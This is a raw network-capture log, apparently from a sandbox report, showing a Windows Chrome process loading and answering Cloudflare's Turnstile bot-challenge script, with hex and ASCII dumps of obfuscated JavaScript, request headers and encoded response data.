2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 2c 66 58 2c 66 59 2c 67 32 2c 67 33 2c 67 61 2c 67 67 2c 67 68 2c 67 48 2c 67 65 2c 67 66 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 35 39 38 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 38 32 29 29 2f 32 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 35 31 29 29 2f 33 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 30 38 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 38 33 37 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 33 35 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 31 34 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 28 39 31 Data Ascii: ,fX,fY,g2,g3,ga,gg,gh,gH,ge,gf){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(598))/1+-parseInt(gI(482))/2*(parseInt(gI(1351))/3)+parseInt(gI(1408))/4+parseInt(gI(1837))/5+-parseInt(gI(835))/6+-parseInt(gI(1414))/7+parseInt(gI(91
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 20 68 3c 69 7d 2c 27 49 51 51 63 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 46 4a 53 48 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 4f 47 70 68 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 79 79 4f 6a 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 64 64 49 61 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 59 67 76 62 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 27 47 67 73 43 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 Data Ascii: h<i},'IQQcv':function(h,i){return h<i},'FJSHV':function(h,i){return h==i},'OGphF':function(h,i){return h<i},'yyOjK':function(h,i){return h*i},'ddIaI':function(h,i){return h!=i},'Ygvbh':function(h,i){return h===i},'GgsCq':function(h,i){return h+i}},e=Stri
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 31 36 2c 73 29 3b 48 3d 31 2e 34 37 26 4d 7c 48 3c 3c 31 2c 64 5b 67 59 28 34 36 35 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 67 59 28 31 31 38 36 29 5d 28 64 5b 67 59 28 35 36 37 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 44 3d 3d 30 26 26 28 44 3d 4d 61 74 68 5b 67 59 28 31 31 36 39 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 67 59 28 31 31 30 32 29 5d 28 64 5b 67 59 28 34 36 37 29 5d 28 48 2c 31 29 2c 64 5b 67 59 28 38 31 31 29 5d 28 4d 2c 31 29 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 67 59 28 31 31 38 36 29 5d 28 64 5b 67 59 28 31 36 39 37 29 5d 28 6f 2c 48 29 29 Data Ascii: 16,s);H=1.47&M\|H<<1,d[gY(465)](I,j-1)?(I=0,G[gY(1186)](d[gY(567)](o,H)),H=0):I++,M>>=1,s++);}D--,D==0&&(D=Math[gY(1169)](2,F),F++),delete B[C]}else for(M=x[C],s=0;s<F;H=d[gY(1102)](d[gY(467)](H,1),d[gY(811)](M,1)),j-1==I?(I=0,G[gY(1186)](d[gY(1697)](o,H))
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 30 36 30 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 49 3d 3d 64 5b 67 59 28 39 36 39 29 5d 28 6a 2c 31 29 29 7b 47 5b 67 59 28 31 31 38 36 29 5d 28 6f 28 48 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 49 2b 2b 3b 72 65 74 75 72 6e 20 47 5b 67 59 28 36 31 35 29 5d 28 27 27 29 7d 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 68 30 29 7b 72 65 74 75 72 6e 20 68 30 3d 67 56 2c 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 64 5b 68 30 28 34 36 35 29 5d 28 27 27 2c 68 29 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 68 30 28 34 34 39 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 68 31 29 7b 72 65 74 75 72 6e 20 68 31 3d 68 30 2c 68 5b 68 31 28 37 35 34 29 5d 28 69 29 7d 29 7d Data Ascii: 060)](o,H)),H=0):I++,M>>=1,s++);for(;;)if(H<<=1,I==d[gY(969)](j,1)){G[gY(1186)](o(H));break}else I++;return G[gY(615)]('')}},'j':function(h,h0){return h0=gV,h==null?'':d[h0(465)]('',h)?null:f.i(h[h0(449)],32768,function(i,h1){return h1=h0,h[h1(754)](i)})}
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 47 26 48 2c 48 3e 3e 3d 31 2c 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 68 32 28 31 33 30 31 29 5d 28 30 2c 4e 29 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 65 28 4a 29 2c 4f 3d 42 2d 31 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 44 5b 68 32 28 36 31 35 29 5d 28 27 27 29 7d 69 66 28 64 5b 68 32 28 31 33 32 37 29 5d 28 30 2c 78 29 26 26 28 78 3d 4d 61 74 68 5b 68 32 28 31 31 36 39 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 2c 73 5b 4f 5d 29 4f 3d 73 5b 4f 5d 3b 65 6c 73 65 20 69 66 28 64 5b 68 32 28 31 31 30 39 29 5d 28 4f 2c 42 29 29 4f 3d 45 2b 45 5b 68 32 28 35 36 34 29 5d 28 30 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 44 5b 68 32 28 31 31 38 36 29 5d Data Ascii: G&H,H>>=1,H==0&&(H=j,G=o(I++)),J\|=(d[h2(1301)](0,N)?1:0)*F,F<<=1);s[B++]=e(J),O=B-1,x--;break;case 2:return D[h2(615)]('')}if(d[h2(1327)](0,x)&&(x=Math[h2(1169)](2,C),C++),s[O])O=s[O];else if(d[h2(1109)](O,B))O=E+E[h2(564)](0);else return null;D[h2(1186)]
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 36 29 5d 28 67 5b 68 35 28 31 34 35 32 29 5d 29 29 3a 65 5b 68 35 28 37 39 31 29 5d 5b 68 35 28 35 32 38 29 5d 3d 44 3a 67 5b 68 35 28 31 34 35 32 29 5d 3d 4a 53 4f 4e 5b 68 35 28 31 30 35 38 29 5d 28 67 5b 68 35 28 31 34 35 32 29 5d 29 2c 6d 3d 69 7c 7c 68 35 28 35 34 36 29 2c 6e 3d 65 4d 5b 68 35 28 37 39 31 29 5d 5b 68 35 28 31 31 34 35 29 5d 3f 27 68 2f 27 2b 65 4d 5b 68 35 28 37 39 31 29 5d 5b 68 35 28 31 31 34 35 29 5d 2b 27 2f 27 3a 27 27 2c 6f 3d 6b 5b 68 35 28 37 33 32 29 5d 28 6b 5b 68 35 28 31 33 31 36 29 5d 28 6b 5b 68 35 28 37 33 32 29 5d 28 6b 5b 68 35 28 37 33 32 29 5d 28 68 35 28 38 36 35 29 2b 6e 2b 68 35 28 31 30 33 35 29 2c 31 29 2c 68 35 28 39 36 33 29 29 2b 65 4d 5b 68 35 28 37 39 31 29 5d 5b 68 35 28 31 33 35 33 29 5d 2b 27 2f 27 2c Data Ascii: 6)](g[h5(1452)])):e[h5(791)][h5(528)]=D:g[h5(1452)]=JSON[h5(1058)](g[h5(1452)]),m=i\|\|h5(546),n=eM[h5(791)][h5(1145)]?'h/'+eM[h5(791)][h5(1145)]+'/':'',o=k[h5(732)](k[h5(1316)](k[h5(732)](k[h5(732)](h5(865)+n+h5(1035),1),h5(963))+eM[h5(791)][h5(1353)]+'/',
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 28 31 30 33 33 29 5d 28 6b 29 2c 6c 26 26 28 67 3d 6c 5b 31 5d 2c 68 3d 70 61 72 73 65 49 6e 74 28 6c 5b 32 5d 2c 31 30 29 2c 69 3d 70 61 72 73 65 49 6e 74 28 6c 5b 33 5d 2c 31 30 29 29 29 29 3a 66 3d 4a 53 4f 4e 5b 68 36 28 31 30 35 38 29 5d 28 64 29 3b 72 65 74 75 72 6e 20 6d 3d 7b 7d 2c 6d 5b 68 36 28 31 31 38 35 29 5d 3d 66 2c 6d 5b 68 36 28 39 39 31 29 5d 3d 67 2c 6d 5b 68 36 28 31 30 36 36 29 5d 3d 68 2c 6d 5b 68 36 28 31 35 39 31 29 5d 3d 69 2c 6d 5b 68 36 28 31 34 35 32 29 5d 3d 64 2c 6d 7d 2c 65 4d 5b 67 4a 28 31 30 36 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 2c 67 2c 68 2c 68 38 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 68 38 3d 67 4a 2c 69 3d 7b 27 51 63 6b 70 63 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e Data Ascii: (1033)](k),l&&(g=l[1],h=parseInt(l[2],10),i=parseInt(l[3],10)))):f=JSON[h6(1058)](d);return m={},m[h6(1185)]=f,m[h6(991)]=g,m[h6(1066)]=h,m[h6(1591)]=i,m[h6(1452)]=d,m},eM[gJ(1067)]=function(d,e,f,g,h,h8,i,j,k,l,m){(h8=gJ,i={'Qckpc':function(n,o,s){return
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 66 78 3d 21 5b 5d 2c 21 65 59 28 67 4a 28 31 38 31 34 29 29 26 26 28 66 56 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 79 2c 63 2c 64 2c 65 29 7b 69 79 3d 67 4a 2c 63 3d 7b 27 4a 5a 48 69 50 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 58 74 55 57 59 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2d 67 7d 2c 27 68 52 42 62 67 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 7d 2c 64 3d 65 4d 5b 69 79 28 37 39 31 29 5d 5b 69 79 28 37 31 35 29 5d 7c 7c 31 65 34 2c 65 3d 66 54 28 29 2c 21 65 4d 5b 69 79 28 34 39 36 29 5d 26 26 21 63 5b 69 79 28 31 31 33 39 29 5d 28 66 79 29 26 26 21 65 4d 5b 69 79 28 37 36 38 29 5d 5b 69 79 28 31 33 35 39 29 Data Ascii: fx=![],!eY(gJ(1814))&&(fV(),setInterval(function(iy,c,d,e){iy=gJ,c={'JZHiP':function(f){return f()},'XtUWY':function(f,g){return f-g},'hRBbg':function(f){return f()}},d=eM[iy(791)][iy(715)]\|\|1e4,e=fT(),!eM[iy(496)]&&!c[iy(1139)](fy)&&!eM[iy(768)][iy(1359)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50061	104.18.95.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:27 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/282746570:1736878407:6NUHQNHVNExjeM8x22k-7ZiRSYvlmuC0stdwFV5k-c4/901fe449df1f4249/EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3495 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:27 UTC	3495	OUT	Data Raw: 76 5f 39 30 31 66 65 34 34 39 64 66 31 66 34 32 34 39 3d 38 41 6d 36 56 36 74 36 59 36 65 36 4c 53 45 73 53 45 79 36 53 6c 63 35 58 67 6c 45 78 53 5a 5a 45 68 75 45 63 42 36 53 33 45 54 36 63 6d 67 63 43 33 6d 45 77 61 33 45 4b 62 53 49 38 45 72 36 53 79 6d 45 63 50 64 41 55 2d 45 50 35 45 37 45 53 41 45 50 6d 32 42 45 75 45 55 42 63 5a 45 35 42 61 6d 45 59 6d 6d 55 67 45 34 36 53 78 24 67 69 4e 62 45 46 32 68 30 66 48 45 41 37 42 55 4d 45 4a 5a 73 52 48 78 2d 4e 64 54 70 4e 30 65 74 62 5a 4e 38 62 61 25 32 62 45 53 4d 45 61 65 43 45 6d 66 4d 50 76 42 45 47 49 45 45 49 36 63 33 65 43 36 46 77 55 52 4d 43 68 39 71 4b 36 4a 43 6f 43 37 46 45 6b 69 41 5a 56 6c 6c 48 36 55 32 48 36 55 33 55 6f 6d 45 66 36 55 6f 36 36 45 49 77 6f 66 52 45 2d 6d 61 36 59 42 45 Data Ascii: v_901fe449df1f4249=8Am6V6t6Y6e6LSEsSEy6Slc5XglExSZZEhuEcB6S3ET6cmgcC3mEwa3EKbSI8Er6SymEcPdAU-EP5E7ESAEPm2BEuEUBcZE5BamEYmmUgE46Sx$giNbEF2h0fHEA7BUMEJZsRHx-NdTpN0etbZN8ba%2bESMEaeCEmfMPvBEGIEEI6c3eC6FwURMCh9qK6JCoC7FEkiAZVllH6U2H6U3UomEf6Uo66EIwofRE-ma6YBE
2025-01-14 19:04:27 UTC	795	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:27 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 155836 Connection: close cf-chl-gen: 18qINCgQ3YZuZS0TId/RrA4eNmcNP7i33W1IcNujjW2YBkA7rYpuV64aZhj0Mf1mOJaFteUXlMAFvL5Gv4UhmI0XayfLlgz39twig8DfDiqdk9d1oilxD3gLxmRr6bpe+Q2ugmzY2wVTu/ntOWGsKHsClczrFPNcR4BpzLzDUbZ883M7AGRUqUqkshIB3bxQWi094nZiUIALwrC0IALJpXo35EzPpdo8HzpF+/Da+OZ9mBx3X980gTkZ2kFRModQAOVNeDzTC9jmbcV7mNnFTQgQb6x6qYnDxuvNg9MtepN8p4iD/LSoR7eQ+FpngV8zHz0gh6DeIbPNg3cYmGjDddRjMUBs2rVNMlNQ4AInYzvTXWOxMxnJcNr8/JuQvf/PZv75w1v8NNVV5Er/kkibQVmAKu7tyx1Ikv7UOFjNC6eX1GOHUarVSQ7o54ua9fbzhhjqLvbM0ElY4ekEpyAj12CYVKXD1PLIIzd6iuwVhC1M9uatGhndpRBCJox7I2V2SoBO6oFimZ1EKMQrDfEsyQ==$NccA2TOmuYrl8OgR4K9hdQ== Server: cloudflare CF-RAY: 901fe45498dfde96-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:27 UTC	574	IN	Data Raw: 57 49 79 41 57 6e 68 6e 65 34 78 51 67 56 4a 6c 65 48 69 51 64 6f 35 74 68 6e 43 4f 58 4a 4a 37 6e 56 39 37 6f 48 43 4b 6c 5a 79 64 69 6d 5a 33 70 61 47 47 63 47 75 42 6c 71 75 4b 6b 37 4b 57 65 6d 39 34 75 4b 36 59 76 4a 71 4d 74 4b 61 7a 6c 36 54 44 6f 36 47 70 6e 73 69 6e 73 71 6e 51 6b 6f 66 53 70 49 37 57 32 4c 79 6b 7a 4e 43 70 71 5a 65 64 76 72 50 55 70 61 53 67 32 74 69 71 78 4d 6a 63 72 73 6d 6f 37 4b 37 4f 77 62 62 53 74 71 2f 33 39 4f 72 73 36 2f 53 2b 31 39 6e 2b 42 50 54 42 41 64 34 46 32 73 72 6d 32 51 4c 6a 36 74 30 4f 33 51 6e 48 45 76 54 31 37 66 6f 49 46 74 66 34 36 39 6b 5a 36 2f 30 46 42 53 66 36 46 69 45 43 4b 42 55 4d 41 42 38 53 41 42 34 6b 4b 53 6e 79 4a 53 51 6c 48 43 38 77 4b 44 63 4a 50 76 4e 42 49 7a 6e 2b 48 7a 59 56 4f 41 45 Data Ascii: WIyAWnhne4xQgVJleHiQdo5thnCOXJJ7nV97oHCKlZydimZ3paGGcGuBlquKk7KWem94uK6YvJqMtKazl6TDo6GpnsinsqnQkofSpI7W2LykzNCpqZedvrPUpaSg2tiqxMjcrsmo7K7OwbbStq/39Ors6/S+19n+BPTBAd4F2srm2QLj6t0O3QnHEvT17foIFtf469kZ6/0FBSf6FiECKBUMAB8SAB4kKSnyJSQlHC8wKDcJPvNBIzn+HzYVOAE
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 59 48 4d 6a 59 57 49 54 51 6a 46 69 4e 44 4a 76 30 35 48 45 59 48 51 43 52 4b 4a 53 51 71 52 55 63 64 4d 67 35 43 4c 55 34 52 53 68 73 63 48 31 34 74 51 46 49 66 49 30 4d 2f 59 57 59 6b 56 32 67 37 4f 55 68 51 53 43 68 4a 4b 31 5a 43 5a 6b 39 32 51 6d 6f 33 66 47 74 4c 4f 6c 68 33 58 6f 4a 46 67 7a 39 31 65 6b 70 64 68 6e 70 70 65 31 35 39 55 6b 6d 45 63 46 4e 74 65 48 52 6a 62 34 64 31 64 33 74 2b 62 33 31 76 58 5a 6c 31 70 71 43 61 6c 36 4e 38 62 4b 43 63 6e 71 4b 4c 69 6f 4f 69 6c 36 47 4d 6f 61 6d 58 69 48 57 65 73 59 6d 66 67 61 43 42 77 34 62 44 70 59 66 48 6d 37 58 41 6e 63 43 34 6e 4d 75 4a 77 4a 47 53 72 62 65 78 72 5a 71 39 30 73 72 4f 72 61 48 55 6e 74 4f 58 35 4a 32 68 75 63 6a 63 79 64 37 73 76 4d 62 48 35 38 76 64 78 2b 4c 4b 7a 2f 54 52 31 Data Ascii: YHMjYWITQjFiNDJv05HEYHQCRKJSQqRUcdMg5CLU4RShscH14tQFIfI0M/YWYkV2g7OUhQSChJK1ZCZk92Qmo3fGtLOlh3XoJFgz91ekpdhnppe159UkmEcFNteHRjb4d1d3t+b31vXZl1pqCal6N8bKCcnqKLioOil6GMoamXiHWesYmfgaCBw4bDpYfHm7XAncC4nMuJwJGSrbexrZq90srOraHUntOX5J2hucjcyd7svMbH58vdx+LKz/TR1
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 6b 2b 6a 56 47 47 50 34 35 53 77 63 44 50 55 39 47 42 30 46 54 4e 41 74 46 56 79 6f 52 4e 68 52 61 47 6b 6b 76 55 46 6b 35 4e 68 74 46 4e 7a 38 69 5a 6a 52 58 61 6b 4e 57 61 55 56 52 5a 46 46 55 5a 30 74 71 4e 45 4e 55 52 33 6f 7a 53 33 78 65 63 49 4a 43 58 6a 78 54 65 55 56 34 69 6b 56 45 64 57 47 50 66 6b 64 66 53 6d 74 68 56 47 70 6f 62 32 2b 4f 6b 59 6d 4b 61 47 6c 33 63 5a 64 79 65 49 5a 6b 64 6e 39 62 61 48 71 44 59 32 78 2b 68 33 42 77 67 6f 74 31 64 49 61 4d 67 33 69 4b 6b 49 68 38 6a 70 53 4b 72 4c 69 2f 67 34 4c 45 65 70 61 35 77 49 71 62 6c 38 53 4b 72 4a 76 49 31 4a 2b 51 31 61 7a 56 73 4d 7a 5a 6d 74 53 5a 34 4e 47 78 6f 39 47 34 74 75 43 32 36 75 62 6d 77 37 61 71 34 71 65 77 37 63 48 70 30 38 4c 6c 74 38 58 35 77 37 50 56 79 73 2f 73 2f 75 Data Ascii: k+jVGGP45SwcDPU9GB0FTNAtFVyoRNhRaGkkvUFk5NhtFNz8iZjRXakNWaUVRZFFUZ0tqNENUR3ozS3xecIJCXjxTeUV4ikVEdWGPfkdfSmthVGpob2+OkYmKaGl3cZdyeIZkdn9baHqDY2x+h3Bwgot1dIaMg3iKkIh8jpSKrLi/g4LEepa5wIqbl8SKrJvI1J+Q1azVsMzZmtSZ4NGxo9G4tuC26ubmw7aq4qew7cHp08Llt8X5w7PVys/s/u
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 4a 69 41 36 47 51 77 4d 52 45 6c 48 45 79 77 68 54 69 34 75 46 6b 64 46 52 52 30 30 4d 6a 63 64 4f 54 39 4d 4d 47 49 36 50 79 4e 42 52 31 51 32 61 6b 4a 48 4b 55 6c 50 58 46 52 79 53 6b 39 71 57 33 56 39 55 30 31 58 61 56 35 4b 59 6f 4b 44 65 45 5a 44 63 33 53 4b 69 59 64 34 6a 6f 47 4c 66 4a 4b 4a 6a 34 42 4e 56 70 4f 45 55 56 4b 58 69 46 57 67 69 6c 53 57 66 32 4f 52 6d 35 53 47 71 71 57 73 68 6d 71 4b 6f 6f 57 68 72 35 43 68 64 47 6d 48 73 71 69 70 6c 49 74 35 71 34 74 2f 77 4b 36 43 67 4b 43 2f 6d 4a 69 42 69 71 65 61 76 61 76 50 72 4d 69 4f 70 39 62 4a 79 71 47 31 32 73 58 45 75 39 47 52 32 38 4b 31 75 62 75 64 33 64 6e 44 6e 37 33 4a 74 4d 6e 49 33 4b 76 77 79 4f 37 4a 30 38 6a 44 7a 63 4c 57 79 37 66 36 39 74 34 43 41 72 72 79 31 4e 4c 61 2f 41 4d Data Ascii: JiA6GQwMRElHEywhTi4uFkdFRR00MjcdOT9MMGI6PyNBR1Q2akJHKUlPXFRySk9qW3V9U01XaV5KYoKDeEZDc3SKiYd4joGLfJKJj4BNVpOEUVKXiFWgilSWf2ORm5SGqqWshmqKooWhr5ChdGmHsqiplIt5q4t/wK6CgKC/mJiBiqeavavPrMiOp9bJyqG12sXEu9GR28K1ubud3dnDn73JtMnI3KvwyO7J08jDzcLWy7f69t4CArry1NLa/AM
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 77 4d 4f 50 69 41 30 44 55 4e 56 4c 31 6f 61 47 52 4d 58 57 52 34 54 48 6b 34 77 4c 7a 52 53 48 7a 4d 67 4e 46 5a 4e 4f 6c 6f 2f 61 6e 4e 74 63 55 74 43 50 30 78 5a 52 56 4e 4d 58 45 78 59 63 56 63 36 66 6e 46 62 54 33 42 6a 58 34 75 46 53 6d 4e 45 57 47 52 62 57 6b 6d 53 64 5a 65 46 61 48 64 6e 55 56 61 51 56 58 69 4e 65 6c 39 6a 67 34 4b 6c 6b 49 42 38 59 36 56 71 69 36 75 71 71 59 64 6f 72 71 47 43 6b 72 4b 4e 67 71 71 4a 75 72 57 56 6a 33 71 2f 6c 35 6c 36 72 34 4f 42 67 58 2f 46 69 71 58 45 72 73 4f 68 70 64 44 53 72 38 2f 4f 30 4e 69 75 6d 61 61 33 32 70 69 31 32 36 48 66 6f 36 4b 67 77 38 69 6e 75 4b 47 71 78 4c 66 4a 77 38 54 4e 73 4d 58 73 74 4f 66 6b 77 4c 43 34 75 2f 72 4a 33 4c 2b 2b 76 4e 37 56 2b 74 44 35 33 77 4c 65 42 76 66 67 32 68 44 61 Data Ascii: wMOPiA0DUNVL1oaGRMXWR4THk4wLzRSHzMgNFZNOlo/anNtcUtCP0xZRVNMXExYcVc6fnFbT3BjX4uFSmNEWGRbWkmSdZeFaHdnUVaQVXiNel9jg4KlkIB8Y6Vqi6uqqYdorqGCkrKNgqqJurWVj3q/l5l6r4OBgX/FiqXErsOhpdDSr8/O0Niumaa32pi126Hfo6Kgw8inuKGqxLfJw8TNsMXstOfkwLC4u/rJ3L++vN7V+tD53wLeBvfg2hDa
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 64 4b 43 79 77 31 44 6c 56 53 45 52 59 37 59 56 5a 59 51 55 38 78 57 69 68 5a 49 54 51 6b 4c 43 56 4a 61 45 46 6a 64 44 42 4a 4e 47 68 61 4f 44 74 63 56 6b 64 54 61 31 74 62 50 6d 52 65 54 31 74 66 50 33 78 58 51 30 56 75 58 32 39 71 5a 6f 42 7a 52 33 56 76 68 58 53 5a 6d 58 78 32 5a 33 35 53 65 4a 56 66 63 71 53 66 66 59 57 42 6d 33 79 65 64 6f 61 6f 68 49 32 78 6e 6f 2b 47 73 34 47 44 64 70 68 30 71 57 39 31 66 70 78 33 6a 4c 69 6b 6e 35 4b 62 73 35 65 6a 6f 62 6d 2f 71 6f 62 45 30 70 2b 6f 6e 39 47 4e 6c 72 69 6b 7a 74 6e 4a 73 74 6e 4c 73 4b 36 5a 76 72 4f 64 6e 4e 71 6e 75 4f 6e 6c 79 4a 2f 5a 76 64 6e 76 7a 75 62 4a 31 4c 57 76 74 37 48 56 32 2f 50 6f 31 75 66 4e 39 50 50 34 2f 72 76 52 2f 4f 6a 5a 30 39 58 31 44 4f 6f 44 35 66 44 52 79 39 50 4e 38 Data Ascii: dKCyw1DlVSERY7YVZYQU8xWihZITQkLCVJaEFjdDBJNGhaODtcVkdTa1tbPmReT1tfP3xXQ0VuX29qZoBzR3VvhXSZmXx2Z35SeJVfcqSffYWBm3yedoaohI2xno+Gs4GDdph0qW91fpx3jLikn5Kbs5ejobm/qobE0p+on9GNlrikztnJstnLsK6ZvrOdnNqnuOnlyJ/ZvdnvzubJ1LWvt7HV2/Po1ufN9PP4/rvR/OjZ09X1DOoD5fDRy9PN8
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 4f 55 68 67 71 57 45 46 43 55 54 70 6f 59 54 35 42 61 53 67 66 51 55 67 71 62 69 78 4c 54 56 31 43 52 45 30 30 62 45 4e 6b 52 56 6c 49 55 58 38 35 66 6c 74 6b 52 54 39 48 51 57 56 72 67 33 68 6d 64 31 32 45 67 34 5a 4b 6b 6c 43 44 6c 6f 56 75 55 33 68 77 64 6e 70 63 6d 59 39 73 6e 36 56 32 68 6f 6d 6a 6e 5a 57 6d 6f 57 31 38 67 59 79 50 61 59 6d 69 69 35 4e 78 69 35 6d 58 69 71 79 66 6e 33 79 75 6d 63 47 68 64 35 70 2f 70 4a 79 69 70 6f 6a 46 75 35 6a 4c 30 61 4b 79 74 63 2f 4a 77 64 4c 4e 6d 61 69 74 75 4c 75 56 74 63 36 33 76 35 32 33 78 63 4f 32 32 4d 76 4c 71 4e 72 46 37 63 32 6a 78 71 76 51 79 4d 37 53 74 50 48 6e 78 50 66 39 7a 74 37 68 2b 2b 37 78 75 2f 6e 46 31 4e 6e 6b 35 38 48 68 2b 75 50 72 79 65 50 78 37 2b 49 46 39 2f 66 55 42 2f 45 61 46 52 Data Ascii: OUhgqWEFCUTpoYT5BaSgfQUgqbixLTV1CRE00bENkRVlIUX85fltkRT9HQWVrg3hmd12Eg4ZKklCDloVuU3hwdnpcmY9sn6V2homjnZWmoW18gYyPaYmii5Nxi5mXiqyfn3yumcGhd5p/pJyipojFu5jL0aKytc/JwdLNmaituLuVtc63v523xcO22MvLqNrF7c2jxqvQyM7StPHnxPf9zt7h++7xu/nF1Nnk58Hh+uPryePx7+IF9/fUB/EaFR
